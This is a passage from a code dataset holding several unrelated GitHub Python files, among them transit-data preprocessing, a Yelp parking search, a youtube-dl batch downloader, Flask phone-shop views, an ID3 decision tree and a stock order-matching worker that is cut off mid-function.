constants ----\n\nimport sys\nimport numpy as np\n\nft = {'bool': lambda x: repr(x.astype('int32')),\n 'float': '{: 0.3f}'.format}\nnp.set_printoptions(edgeitems=10, linewidth=80, precision=2,\n suppress=True, threshold=100,\n formatter=ft)\nnp.ma.masked_print_option.set_display('-')\n\nscript = sys.argv[0]\n\n# ---- functions ----\n\n\ndef line_dir(orig, dest, fromNorth=False):\n \"\"\"Direction of a line given 2 points\n\n `orig`, `dest` : point coordinates\n Two points representing the start and end of a line.\n `fromNorth` : boolean\n True or False gives angle relative to x-axis)\n \"\"\"\n orig = np.atleast_2d(orig)\n dest = np.atleast_2d(dest)\n dxy = dest - orig\n ang = np.degrees(np.arctan2(dxy[:, 1], dxy[:, 0]))\n if fromNorth:\n ang = np.mod((450.0 - ang), 360.)\n return ang\n\n\ndef _demo(xc=0, yc=0, fromNorth=True):\n \"\"\" run the demo with the data below \"\"\"\n p0 = np.array([xc, yc]) # origin point\n p1 = p0 + [-1, 1] # NW\n p2 = p0 + [0, 1] # N\n p3 = p0 + [1, 1] # NE\n p4 = p0 + [1, 0] # E\n p5 = p0 + [1, -1] # SE\n p6 = p0 + [0, -1] # S\n p7 = p0 + [-1, -1] # SW\n p8 = p0 + [-1, 0] # W\n #\n od = [[p0, p1], [p0, p2], [p0, p3], [p0, p4],\n [p0, p5], [p0, p6], [p0, p7], [p0, p8]]\n for pair in od:\n orig, dest = pair\n ang = line_dir(orig, dest, fromNorth=fromNorth)\n if fromNorth:\n dir = \"From N.\"\n else:\n dir = \"From x-axis\"\n args = [orig, dest, dir, ang]\n print(\"orig: {}: dest: {!s:<8} {}: {!s:>6}\".format(*args))\n return od\n\n\n# ---------------------------------------------------------------------\nif __name__ == \"__main__\":\n \"\"\"Main section... \"\"\"\n# print(\"Script... {}\".format(script))\n xc = 0 # 300000 # pick an origin x 0 or 300000 for example\n yc = 0 # 5025000 # pick an origin y 0 or 5025000\n od = _demo(xc, yc, fromNorth=True)\n","repo_name":"Dan-Patterson/arraytools","sub_path":"arraytools/analysis/line_ang_azim.py","file_name":"line_ang_azim.py","file_ext":"py","file_size_in_byte":3081,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"31903970587","text":"\"\"\"\nThis file processes the raw CSVs downloaded in make_dataset.py for a specific transportation system.\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom transit_data import BRTData, NTDData\nimport os\n\n# --------------------------------------------\n# HELPER FUNCTIONS\n# --------------------------------------------\n\ndef make_average(df, name) -> pd.Series:\n series_average = df.mean(axis=1)\n series_average.rename(name, inplace=True)\n\n return series_average\n\ndef export_csv(df, name) -> None:\n script_dir = os.path.dirname(os.path.abspath(__file__))\n project_dir = os.path.abspath(os.path.join(script_dir, \"../..\"))\n data_dir = os.path.join(project_dir, \"data/processed\")\n \n df.to_csv(os.path.join(data_dir, f'{name}.csv'), index=True)\n\n# --------------------------------------------\n# DATA PROCESSING FUNCTIONS\n# --------------------------------------------\n\ndef process_brt_data(brt_data: BRTData) -> pd.DataFrame:\n \"\"\"\n Clean and process BRTData for various metrics and return a pandas DataFrame of the resulting average values.\n\n Parameters:\n brt_data (BRTData): BRTData object to process.\n\n Returns:\n pandas.Dataframe: A pandas DataFrame of the resulting average values for each metric.\n \"\"\"\n metrics = ['income', 'pop', 'age', 'house_married', 'house_nonfam', 'house_m_single', 'house_f_single', 'car', 'biz']\n series_list = []\n\n for metric in metrics:\n df = brt_data.get_data(metric)\n \n # Cleaning\n df.dropna(axis=1, how='all', inplace=True) # drop cols with all NaN's\n df = df.loc[:, ~(df < 0).any(axis=0)] # drop cols that feature any negative\n df = df.loc[:, df.eq(0).mean() <= 0.25] # only keep cols with 25% or fewer values that are still 0\n\n series_average = make_average(df, metric)\n series_list.append(series_average)\n\n return pd.concat(series_list, axis=1)\n\n\ndef process_ntd_data(ntd_data: NTDData, system: str) -> pd.DataFrame:\n \"\"\"\n Clean and process NTDData and return a pandas DataFrame of the resulting values for a specific system.\n\n Parameters:\n ntd_data (NTDData): An object containing NTD data.\n system (str): A string representing the transit system for which data is being processed.\n \n Return type:\n pandas.DataFrame: A cleaned DataFrame containing summarized and filtered data for the specified system.\n \"\"\"\n\n ids = {\n # 'brooklyn': '2008',\n 'los_angeles': '9154',\n 'boston': '1003',\n 'houston': '6008',\n 'orlando': '4035',\n 'cleveland': '5015',\n 'richmond': '3006',\n 'kansas': '7005',\n 'grand_rapids': '5033',\n 'hartford': '1048',\n 'eugene': '7',\n 'indianapolis': '5050',\n 'albuquerque': '6019',\n 'aspen_westcliffe_glenwood_springs': '8R01-013',\n 'fort_collins': '8011'\n }\n \n years = list(range(2013, 2021))\n cols = ['Unlinked Passenger Trips', 'Primary UZA\\n Population', 'UZA Population', 'Mode VOMS', 'VOMS', 'Annual Vehicle Revenue Miles', 'Vehicle Revenue Miles']\n res_df = pd.DataFrame(columns = cols, index = years)\n\n for year in years:\n df_raw = ntd_data.get_data(f'transit_data_{year}_filtered')\n \n if year == 2013:\n df_raw = df_raw.fillna(0)\n df_raw['ID'] = df_raw['ID'].astype(int).astype(str)\n filtered_df = df_raw[df_raw[\"ID\"].astype(str) == ids[system]]\n elif year == 2014:\n filtered_df = df_raw[df_raw[\"Legacy NTDID\"].astype(str) == ids[system]]\n else: \n filtered_df = df_raw[df_raw[\"Legacy NTD ID\"].astype(str) == ids[system]]\n \n df_year = filtered_df.loc[:, filtered_df.columns.isin(cols)] \n\n # Populate res_df\n for col in cols:\n try:\n res_df.at[year, col] = df_year[col][0]\n except:\n res_df.at[year, col] = np.NaN\n\n res_df.rename(columns={'Primary UZA\\n Population': 'Primary UZA Population'}, inplace=True)\n\n # Merge duplicate cols\n res_df['UZA Population'].update(res_df.pop('Primary UZA Population'))\n res_df['VOMS'].update(res_df.pop('Mode VOMS'))\n res_df['Vehicle Revenue Miles'].update(res_df.pop('Annual Vehicle Revenue Miles'))\n\n # Column name cleaning - lowercase and space replacement\n res_df.columns= res_df.columns.str.lower()\n res_df.columns = res_df.columns.str.replace(' ', '_')\n\n # Cleaning values - removing commas from float fields that are mis-cast\n res_df.replace(',','', regex=True, inplace=True)\n res_df = res_df.astype({'unlinked_passenger_trips':'float'})\n res_df = res_df.astype({'uza_population':'float'})\n res_df = res_df.astype({'vehicle_revenue_miles':'float'})\n\n # Adjusting values off by 3 orders of magnitude somehow\n mean = res_df.mean()\n std = res_df.std()\n\n # Handling edge cases\n if system in ('cleveland', 'orlando'):\n res_df.loc[(abs(mean.unlinked_passenger_trips - res_df['unlinked_passenger_trips']) > std.unlinked_passenger_trips) & (res_df.index < 2015), 'unlinked_passenger_trips'] *= 1000\n res_df.loc[(abs(mean.vehicle_revenue_miles - res_df['vehicle_revenue_miles']) > std.vehicle_revenue_miles) & (res_df.index < 2015), 'vehicle_revenue_miles'] *= 1000\n\n elif system not in ('aspen_westcliffe_glenwood_springs', 'hartford', 'richmond'):\n res_df.loc[abs(mean.unlinked_passenger_trips - res_df['unlinked_passenger_trips']) > std.unlinked_passenger_trips, 'unlinked_passenger_trips'] *= 1000\n res_df.loc[abs(mean.vehicle_revenue_miles - res_df['vehicle_revenue_miles']) > std.vehicle_revenue_miles, 'vehicle_revenue_miles'] *= 1000\n\n return res_df\n\ndef process_data(brt_data: BRTData, ntd_data: NTDData, system: str) -> None:\n \"\"\"\n Process BRTData and NTDData and merge the results into a dataframe. Export the merged dataframe to a CSV file.\n\n Args:\n brt_data (BRTData): the BRTData object containing the data to process.\n ntd_data (NTDData): the NTDData object containing the data to process.\n system (str): the name of the transit system to process. Used to filter NTD data.\n\n Returns:\n None. The function writes the merged dataframe to a CSV file.\n \"\"\"\n brt_df = process_brt_data(brt_data)\n ntd_df = process_ntd_data(ntd_data, system)\n\n # Merge the dfs\n merged_df = pd.concat([brt_df, ntd_df], axis=1)\n merged_df = merged_df.round(2)\n merged_df.insert(0, 'system', system)\n\n # Export the df to a CSV\n export_csv(merged_df, system)\n\ndef main():\n locations = ['cleveland', 'houston', 'kansas', 'richmond', 'indianapolis', 'eugene', 'albuquerque', 'aspen_westcliffe_glenwood_springs', 'fort_collins', 'hartford', 'grand_rapids', 'orlando', 'boston', 'los_angeles']\n ntd = NTDData()\n ntd.load_existing_data()\n \n for system in locations:\n brt = BRTData(system)\n brt.load_existing_data()\n process_data(brt, ntd, system)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"hudyu17/transit-model","sub_path":"model/src/data/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":7027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41164255321","text":"import requests\nimport json\n\n'''\nddress, an image if available, star rating, review count, and link to the Yelp page.\n\n'''\n\ndef search(location):\n api_key=''\n headers = {'Authorization': 'Bearer %s' % api_key}\n\n url='https://api.yelp.com/v3/businesses/search'\n\n params = {'term':'parking','location': location}\n req = requests.get(url, params=params, headers=headers)\n\n # printing the text from the response\n results = json.loads(req.text)\n businesses = results['businesses']\n businesses = sorted(businesses, key = lambda i:i['rating'])\n ret = []\n for b in businesses:\n id = b['id']\n address = b['location']\n image = b['image_url']\n rating = b['rating']\n reviews = b['review_count']\n yelp_link = b['url']\n #score = ( number of reviews * rating ) / (number of reviews + 1)\n score = (int(reviews) * int(rating)) / (reviews + 1)\n ret.append({'score':score, 'address':address, 'image':image, 'rating': rating, 'reviews':reviews, 'yelp_link':yelp_link})\n\n return ret\n\nsearch('Los Angeles')\n","repo_name":"n0remac/LowestRatedParkingLot","sub_path":"ratings/get_lots.py","file_name":"get_lots.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"39328214743","text":"from __future__ import unicode_literals\nimport pandas\nimport youtube_dl\n\nin_file = \"D:\\TREASURE\\Music\\carnatic_lesson.xlsx\"\n\nvocal_df = pandas.read_excel(in_file, \"VOCAL\")\nflute_df = pandas.read_excel(in_file, \"FLUTE\")\n\nfor index, row in vocal_df.iterrows():\n url = row[\"Youtube Link\"]\n # print (row[\"Youtube Link\"])\n outtemplate = str(index + 1) + \"-VOCAL\" + \"-%(title)s.%(ext)s\"\n ydl_opts = {\n 'outtmpl': outtemplate\n }\n # print (outtemplate)\n with youtube_dl.YoutubeDL(ydl_opts) as ydl:\n ydl.download([url])\n\n\n\n# help(youtube_dl)","repo_name":"VINEET277/scriptsRef1","sub_path":"scriptsRef_One/jCodes-master/codeSnippets-master/youtube-dl-pandas.py","file_name":"youtube-dl-pandas.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13357967340","text":"# coding: utf-8 \nimport operator\nimport json\nclass commonUtil:\n\t\n\tdef is_contain(self, str_one, str_two):\n\t\t'''\n\t\t判断一个字符串是否在另一个字符串中\n\t\tstr_one:查找的字符串\n\t\tstr_two:被查找的字符串\n\t\t'''\n\t\tflag = None\n\t\tif str_one in str_two:\n\t\t\tflag = True\n\t\telse:\n\t\t\tflag = False\n\t\treturn flag\n\n\n\tdef is_equal(self, dict_one, dict_two):\n\t\t'''\n\t\t判断两个字典是否相等\n\t\t'''\n\t\tif isinstance(dict_one, str):\n\t\t\tdict_one = json.loads(dict_one)\n\t\tif isinstance(dict_two, str):\n\t\t\tdict_two = json.loads(dict_two)\n\t\tresult = operator.eq(dict_one, dict_two)\n\t\treturn result\n\nif __name__ == '__main__':\n\ta = {\n\t\t\"name\":\"guan\",\n\t\t\"age\":\"25\"\n\t}\n\tb = {\n\t\t\"name\":\"guan\",\n\t\t\"age\":\"25\"\n\t}\n\tcom = commonUtil()\n\tc = com.is_equal(a,b)\n\tprint(c)\n","repo_name":"Torres-guan/Mytest","sub_path":"Util/common_util.py","file_name":"common_util.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24211105900","text":"#\n# [163] Missing Ranges\n#\n# https://leetcode.com/problems/missing-ranges\n#\n# algorithms\n# Medium (23.84%)\n# Total Accepted: 32.5K\n# Total Submissions: 136.1K\n# Testcase Example: '[0,1,3,50,75]\\n0\\n99'\n#\n#\n# Given a sorted integer array where the range of elements are in the inclusive\n# range [lower, upper], return its missing ranges.\n#\n#\n# For example, given [0, 1, 3, 50, 75], lower = 0 and upper = 99, return [\"2\",\n# \"4->49\", \"51->74\", \"76->99\"].\n#\n#\n\nclass Solution(object):\n def findMissingRanges(self, nums, lower, upper):\n \"\"\"\n :type nums: List[int]\n :type lower: int\n :type upper: int\n :rtype: List[str]\n \"\"\"\n res = []\n nums.append(upper+1)\n p = lower\n for num in nums:\n if num > p:\n if num == p+1:\n res.append(str(p))\n else:\n res.append(\"->\".join([str(p), str(num-1)]))\n p = num+1\n return res\n\n","repo_name":"Iverance/leetcode","sub_path":"163.missing-ranges.py","file_name":"163.missing-ranges.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"86745920447","text":"import subprocess\nfrom typing import List, Optional, Callable, Union\n\n\ndef collect_output_from_command(\n command: Union[List[str], str],\n stdout: Optional[Callable[[str], None]] = None,\n stderr: Optional[Callable[[str], None]] = None,\n shell=False,\n) -> str:\n p = subprocess.Popen(\n command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=shell\n )\n\n outs, errs = p.communicate(timeout=15)\n outs, errs = outs.decode(), errs.decode()\n if stderr is not None:\n for e in errs.splitlines():\n if e:\n stderr(e)\n if stdout is not None:\n for o in outs.split():\n stdout(o)\n\n rc = p.poll()\n if rc is not None and rc > 0:\n # failed :(\n jc = command\n if shell and isinstance(jc, list):\n jc = \" \".join(f\"'{c}'\" for c in command)\n\n lastlines = errs[: min(len(errs) - 1, 100)]\n if isinstance(lastlines, list):\n lastlines = \"\".join(lastlines)\n raise Exception(\n f'Failed to call command (rc={rc}) {jc}, first 100 characters of stderr:\\n \"{lastlines}\"'\n )\n\n return outs\n","repo_name":"PMCC-BioinformaticsCore/janis-assistant","sub_path":"janis_assistant/utils/callprogram.py","file_name":"callprogram.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"9147157096","text":"from flask import Blueprint, render_template, request, url_for\nfrom fuzzywuzzy import fuzz\n\nfrom models import db, Phone, PhoneShop, Shop, normalize_name\nfrom webapp.config import ITEMS_PER_PAGE\n\nblueprint = Blueprint('main', __name__)\n\n\n@blueprint.route('/')\n@blueprint.route('/index')\ndef index():\n title = 'Смартфоны'\n text = request.args.get('search')\n how = request.args.get('how')\n nothing_found = True\n\n if text:\n if how == 'pop':\n all_phones = Phone.query.order_by(Phone.views).all()\n else:\n all_phones = Phone.query.all()\n phones = []\n for phone in all_phones:\n ratio1 = fuzz.partial_ratio(normalize_name(phone.name), text)\n ratio2 = fuzz.token_set_ratio(normalize_name(phone.name), text)\n if ratio1 + ratio2 == 200:\n phones = [phone]\n break\n if ratio1 + ratio2 > 150:\n phones.append([phone, ratio1 + ratio2])\n if len(phones) > 1:\n phones = [i[0] for i in sorted(phones, key=lambda x: x[1], reverse=True)]\n if phones:\n nothing_found = False\n return render_template('main/index.html', page_title=title, phones=get_prices(phones),\n nothing_found=nothing_found)\n\n nothing_found = False\n page = request.args.get('page', 1, type=int)\n if how == 'pop':\n phones = Phone.query.order_by(Phone.views.desc()).paginate(page, ITEMS_PER_PAGE, False)\n elif how == 'price':\n phones = db.session.query(PhoneShop.phone_id, db.func.min(PhoneShop.price).label('min_price')) \\\n .group_by(PhoneShop.phone_id, PhoneShop.price).order_by(PhoneShop.price.desc()) \\\n .paginate(page, ITEMS_PER_PAGE, False)\n else:\n phones = Phone.query.paginate(page, ITEMS_PER_PAGE, False)\n next_url = url_for('main.index', page=phones.next_num) if phones.has_next else None\n prev_url = url_for('main.index', page=phones.prev_num) if phones.has_prev else None\n if how == 'price':\n phones_price_sorted = {}\n for item in phones.items:\n phones_price_sorted[Phone.query.filter_by(id=item.phone_id).first()] = round(item.min_price)\n phones = phones_price_sorted\n else:\n phones = get_prices(phones.items)\n\n return render_template('main/index.html', page_title=title, phones=phones,\n nothing_found=nothing_found, next_url=next_url, prev_url=prev_url, how=how)\n\n\ndef get_prices(phones):\n \"\"\" Функция формирует словарь {телефон: минимальная_цена} для последующего вывода в шаблоне\"\"\"\n\n out = {}\n for phone in phones:\n prices = [round(shop.price) for shop in phone.shops if shop.price]\n out[phone] = str(min(prices)) if prices else None\n return out\n\n\n@blueprint.route('/specs')\ndef show_specs():\n phone_id = request.args.get('phone_id', None)\n phone = Phone.query.filter_by(id=phone_id).first()\n if not phone:\n return render_template('errors/404.html')\n views = 1 if not phone.views else phone.views + 1\n Phone.query.filter_by(id=phone.id).update({'views': views})\n db.session.commit()\n price_queries = PhoneShop.query.filter_by(phone_id=phone_id).all()\n prices = []\n for query in price_queries:\n shop = Shop.query.filter_by(id=query.shop_id).first()\n if not query.price:\n continue\n price = str(round(query.price))\n price = price[:len(price) - 3] + ' ' + price[-3:]\n shop_name = shop.name\n url = shop.phones_path + query.external_id\n prices.append([shop_name, price, url])\n if not prices:\n prices = [[], [], []]\n return render_template('main/specs.html', phone=phone, prices=prices, page_title=phone.name)\n\n\n@blueprint.route('/about')\ndef about():\n return render_template('main/about.html')\n","repo_name":"borshchevsky/stuff_finder","sub_path":"webapp/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32321816530","text":"# -*- coding: utf-8 -*-\n\nimport numpy as np\nimport random\nfrom sklearn import utils\n\n\nclass Arbol(object):\n \n def __init__(self):\n self.Ramas = []\n self.valor = None\n\n'Funcion que devuelve True si el Arbol es una hoja'\ndef EsHoja(Arbol):\n return (len(Arbol.Ramas)==0)\n\n\n'Funcion para calcular entropia'\ndef Entropia(ColOutput): \n Valores, ocurrencias = np.unique(ColOutput,return_counts = True)\n CantTotal = np.sum(ocurrencias)\n E = 0\n #itero en los valores posibles de salida\n for indice in range(len(Valores)):\n P_X = ocurrencias[indice]/CantTotal\n E += - P_X*np.log2(P_X)\n return E\n\n\n'Funcion para calcular termino sumatoria de Information Gain'\ndef IGAux(Datos, atributo): \n Valores, ocurrencias = np.unique(Datos[atributo],return_counts = True)\n CantTotal = np.sum(ocurrencias)\n IGAux = 0\n \n for indice in range(len(Valores)):\n #me quedo solo con las filas que tienen valor Valores[indice] en el atributo y calculo cantidad registros\n mask = Datos[atributo].to_numpy() == Valores[indice]\n Datos_con_atributoValor = Datos.loc[mask]\n CantAt = ocurrencias[indice]\n #actualizo IGAux\n IGAux += (CantAt/CantTotal)*Entropia(Datos_con_atributoValor['output'])\n\n return IGAux\n\n\n\"\"\"Funcion para calcular los posibles valores de los atributos.\nDevuelve una lista de arrays con donde cada array contiene los posibles valores de del Atributo indice\"\"\"\ndef ValsAtributos(Datos, Atributos):\n ValsAtrib = []\n for indice in range(len(Atributos)):\n Valores = np.unique(Datos[Atributos[indice]])\n ValsAtrib.insert(indice, Valores)\n return ValsAtrib \n \n \n'Funcion que devuele el arbol de decision. No implelmenta podas'\ndef ID3(Datos,targetAttribute, Atributos, ValsAtributos, maxAtributos):\n \n #guardo en el array Valores, todos los valores diferentes de la columna objetivo.\n #guardo en ocurrencias la cantidad de veces que aparecen los valores de Valores\n Valores, ocurrencias = np.unique(Datos[targetAttribute],return_counts = True)\n Arb = Arbol()\n \n #si todos los valores son iguales, devuelvo ese valor\n if (len(Valores)==1):\n Arb.valor = Valores[0]\n \n #si no hay atributos, retorno el valor mas comun del atributo objetivo para los datos. \n #aplico poda si no tengo un minimo de 10 datos\n elif (len(Atributos)==0) or (Datos.shape[0]<10):\n Arb.valor = Valores[np.argmax(ocurrencias)]\n \n else:\n #elijo de forma aleatoria maxAtributos indices en el rango del largo de Atributos\n if (len(Atributos)> maxAtributos):\n arraysubset = np.array(random.sample(list(range(len(Atributos))), maxAtributos))\n sbsetAtributos = [Atributos[i] for i in arraysubset]\n subsetValoresAtributos = [ValsAtributos[i] for i in arraysubset]\n else:\n sbsetAtributos = Atributos\n subsetValoresAtributos = ValsAtributos\n \n #seleccionar el mejor atributo\n E = Entropia(Datos[targetAttribute])\n IG_AuxAtributos = [(E-IGAux(Datos,at)) for at in sbsetAtributos] #devuelve IG de todos los at de Atributos\n Atributo_indice = np.argmax(IG_AuxAtributos)\n Atributo = sbsetAtributos[Atributo_indice]\n \n # si ningun atributo me da ganancia, aplico poda\n if(E-IG_AuxAtributos[Atributo_indice]==0):\n Arb.valor = Valores[np.argmax(ocurrencias)]\n else:\n \n #Coloco en la raiz Atributo \n Arb.valor = Atributo\n \n #Array con valores de Atributo. \n ValoresAtributoAux = np.array(subsetValoresAtributos[Atributo_indice], copy=True) \n \n #obtengo indice de Atributo en Atributos\n indice = Atributos.index(Atributo) \n #elimino el atributo de la lista\n del Atributos[indice]\n del ValsAtributos[indice]\n \n #hago crecer el arbol, iterando en cada valor posible del atributo\n for i in range(len(ValoresAtributoAux)):\n val = ValoresAtributoAux[i]\n Ejemplos = Datos.loc[Datos[Atributo] == val]\n \n # si no hay ejemplos con ese valor, coloco hoja con el valor mas comun del atributo objetivo para los datos. \n if (len(Ejemplos)==0):\n Hoja = Arbol()\n Hoja.valor = Valores[np.argmax(ocurrencias)]\n Arb.Ramas.insert(i,Hoja)\n #sino, llamo recursivo\n else:\n Arb.Ramas.insert(i, ID3(Ejemplos, targetAttribute, Atributos, ValsAtributos, maxAtributos)) \n return Arb\n\n\n\"\"\" Funcion que evalua una instancia en el Arbol de decision. \ndevuelve 7 valores, que pueden tomar valores binarios.\nA = 1 si Acierto, Vp= verdadero positivo, Vn= verdadero negativo,\nFp = falso psitivo, Fn= falso negativo, P= isntancia Positiva, N= instancia Negativa\n\"\"\"\ndef EvaluarInstancia (instancia, targetAtribute, Arbol, ValsAtributos, Atributos):\n if (EsHoja(Arbol)):\n A, Vp, Vn, Fp, Fn, P,N = 0,0,0,0,0,0,0\n if instancia[targetAtribute] == Arbol.valor:\n A = 1\n #ejemplo positivo clasificado correctamente\n if instancia[targetAtribute] == 1: Vp, P = 1,1\n #ejemplo negativo clasificado correctamente\n else: Vn,N = 1,1\n else: \n #ejemplo negativo clasificado incorrectamente\n if instancia[targetAtribute] == 0: Fp,N = 1,1\n #ejemplo positivo clasificado incorrectamente\n else: Fn, P = 1,1 \n return (A, Vp, Vn, Fp, Fn, P, N)\n else:\n AtributoNodo= Arbol.valor\n valorInstancia = instancia[AtributoNodo]\n indice = Atributos.index(AtributoNodo) #obtengo indice de AtributoNodo en Atributos\n PosiblesvaloresAtributoNodo = ValsAtributos[indice] #obtengo rango de valores de AtributoNodo\n indexValorInstancia = list(PosiblesvaloresAtributoNodo).index(valorInstancia) #obtengo indice de valorInstancia en posibles valores de atributo\n return EvaluarInstancia(instancia, targetAtribute, Arbol.Ramas[indexValorInstancia], ValsAtributos, Atributos)\n\n \n'Metodo que evalua un dataset en el Arbol de decision e imprime metricas'\ndef Evaluar(Datos, targetAtribute, Arbol, ValsAtributos, Atributos):\n A, Vp, Vn, Fp, Fn, CantP, CantN = 0,0,0,0,0,0,0\n for i in range(Datos.shape[0]):\n Fila = Datos.iloc[i]\n Ai, Vpi, Vni, Fpi, Fni, P, N = EvaluarInstancia (Fila, targetAtribute, Arbol, ValsAtributos, Atributos)\n A += Ai\n Vp += Vpi\n Vn += Vni\n Fp += Fpi\n Fn += Fni\n CantP += P\n CantN += N\n \n print (\"Accurancy: \" + str(A/Datos.shape[0]))\n \n if (CantP>0): \n print(\"ejemplos positivos: \" + str(CantP))\n print(\"ejemplos positivos acertados: \" + str(Vp))\n if ((Vp + Fp)==0):\n print(\"Ningun ejemplo fue clasificado como positivo por lo que Precision no puede calcularse\")\n PresicionPositivos =0\n else:\n PresicionPositivos = Vp/(Vp + Fp)\n print(\"Precision 1: \" + str(PresicionPositivos))\n RecallPositivos = Vp/(Vp + Fn)\n print(\"Recall 1: \" + str(RecallPositivos))\n if (PresicionPositivos>0) and (RecallPositivos>0):\n print(\"F1 1: \" + str(2*PresicionPositivos*RecallPositivos/(PresicionPositivos+RecallPositivos)))\n else:\n print(\"Ningun ejemplo positivo fue acertado por lo que F1 no puede calcularse\")\n else:\n print(\"No hay ejemplos positivos en el conjunto de test\")\n \n if (CantN>0): \n print(\"ejemplos Negativos: \" + str(CantN))\n print(\"ejemplos Negativos acertados: \" + str(Vn))\n if ((Vn + Fn)==0):\n print(\"Ningun ejemplo fue clasificado como negativo por lo que Precision no puede calcularse\")\n PresicionNegativos =0\n else:\n PresicionNegativos = Vn/(Vn + Fn)\n print(\"Precision 0: \" + str(PresicionNegativos))\n RecallNegativos = Vn/(Vn + Fp)\n print(\"Recall 0: \" + str(RecallNegativos))\n if (PresicionNegativos>0) and (RecallNegativos>0):\n print(\"F1 0: \" + str(2*PresicionNegativos*RecallNegativos/(PresicionNegativos+RecallNegativos)))\n else:\n print(\"Ningun ejemplo negativo fue acertado por lo que F1 no puede calcularse\")\n else:\n print(\"No hay ejemplos negativos en el conjunto de test\")\n\n\n'Metodo para crear un arbol de decision y evaluar su performance'\ndef CreacionYEvaluacionID3(dataset, train, validation, CantidadEjemplos, CantAtributos):\n #Genero Dataset con CantElementos, tomando de forma uniforme de Datos\n DatasetArbol = utils.resample(train, n_samples= CantidadEjemplos)\n \n #obtengo todas las cabeceras de columnas y borro de la lista las columnas de salida, para quedarme solo con los de entrada \n Atributos = dataset.columns.values.tolist()\n Atributos.remove('c1024')\n Atributos.remove('output')\n \n #Tomo CantAtributos de Atributos de forma aleatoria, sin repetidos\n ValsAtributo = ValsAtributos(dataset, Atributos)\n \n # se utilizan estructuras auxiliares porque estas son modificadas al crear el arbol\n AtributosAux = Atributos.copy() \n ValsAtributosAux = ValsAtributos(dataset, AtributosAux)\n \n #creacion del arbol\n ArbolDecision = ID3(DatasetArbol,'output', AtributosAux, ValsAtributosAux, CantAtributos)\n \n #evaluacion\n Evaluar(validation,'output', ArbolDecision, ValsAtributo, Atributos)\n\n","repo_name":"luciabouza/Machine-Learning-Methods","sub_path":"lab2 - Classification trees and Random Forest/ID3.py","file_name":"ID3.py","file_ext":"py","file_size_in_byte":9615,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30193278541","text":"from time import sleep\nfrom math import cos, sin, tan\n\n\nprint('')\nprint('Seno, cosseno, tangente')\nprint('')\nsleep(0.35)\n\n# var angulo\nangulo = float(input('Digite o ângulo que deseja: '))\n\nprint (f'''\n\nSeno: {sin(angulo):.2f}\n\nCosseno: {cos(angulo):.2f}\n\nTangente: {tan(angulo):.2f} ''')","repo_name":"Future-Aperture/Python","sub_path":"exercícios_python/exercicios_theo/Exercicios 16-30/ex018.py","file_name":"ex018.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"es","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"37623115115","text":"import sys\nfrom trading_queue import queue\nfrom db.models import orders, users, stocks\nfrom db import Session\n\nqueue = queue.QueueClient()\n\n\ndef get_matching_order(session, order, exclude=set()):\n order_query = (\n session.query(orders.Orders)\n .\n # match the stock name\n filter(orders.Orders.stock_identifier == order.stock_identifier)\n .\n # only incomplete orders\n filter(orders.Orders.remaining_quantity > 0)\n .\n # don't allow a user to match their own order\n filter(orders.Orders.user_id != order.user_id)\n .\n # exclude orders we've already seen\n filter(orders.Orders.id.notin_(exclude))\n )\n if order.is_sell_order:\n order_query = (\n order_query.\n # search for a buy order\n filter(orders.Orders.is_sell_order == False)\n .\n # only consider buyers with prices higher than your sell price\n filter(orders.Orders.price_cents >= order.price_cents)\n .\n # if I'm selling, I want the highest buy price possible. After that, older orders first\n order_by(orders.Orders.price_cents.desc(), orders.Orders.created_ts.asc())\n )\n else:\n order_query = (\n order_query.\n # search for a sell order\n filter(orders.Orders.is_sell_order == True)\n .\n # only consider sellers with selling prices less than what you want\n # to buy it for\n filter(orders.Orders.price_cents <= order.price_cents)\n .\n # If I'm buying, I don't care which order I match with, my price is fixed. Take the oldest\n order_by(orders.Orders.created_ts.asc())\n )\n return order_query.first()\n\n\ndef update_stock_for_sale(session, seller, stock_identifier, quantity):\n stock = (\n session.query(stocks.Stocks)\n .filter(stocks.Stocks.identifier == stock_identifier)\n .filter(stocks.Stocks.user_id == seller.id)\n .first()\n )\n # sellable quantity should already be correct\n stock.quantity -= quantity\n session.commit()\n\n\ndef update_stock_for_purchase(session, buyer, stock_identifier, quantity):\n stock = (\n session.query(stocks.Stocks)\n .filter(stocks.Stocks.identifier == stock_identifier)\n .filter(stocks.Stocks.user_id == buyer.id)\n .first()\n )\n # create the stock if the user doesn't have it yet\n if not stock:\n stock = stocks.Stocks(stock_identifier, quantity)\n buyer.stocks.append(stock)\n else:\n stock.quantity += quantity\n stock.sellable_quantity += quantity\n session.commit()\n\n\ndef handle_order(ch, method, properties, body):\n order_id = int(body)\n with Session() as session:\n order = (\n session.query(orders.Orders).filter(orders.Orders.id == order_id).first()\n )\n order_creator = (\n session.query(users.Users).filter(users.Users.id == order.user_id).first()\n )\n if not order or order.remaining_quantity == 0:\n return\n matches = set()\n matching_order = get_matching_order(session, order)\n while matching_order and order.remaining_quantity > 0:\n matching_user = (\n session.query(users.Users)\n .filter(users.Users.id == matching_order.user_id)\n .first()\n )\n seller, buyer = order_creator, matching_user\n if not 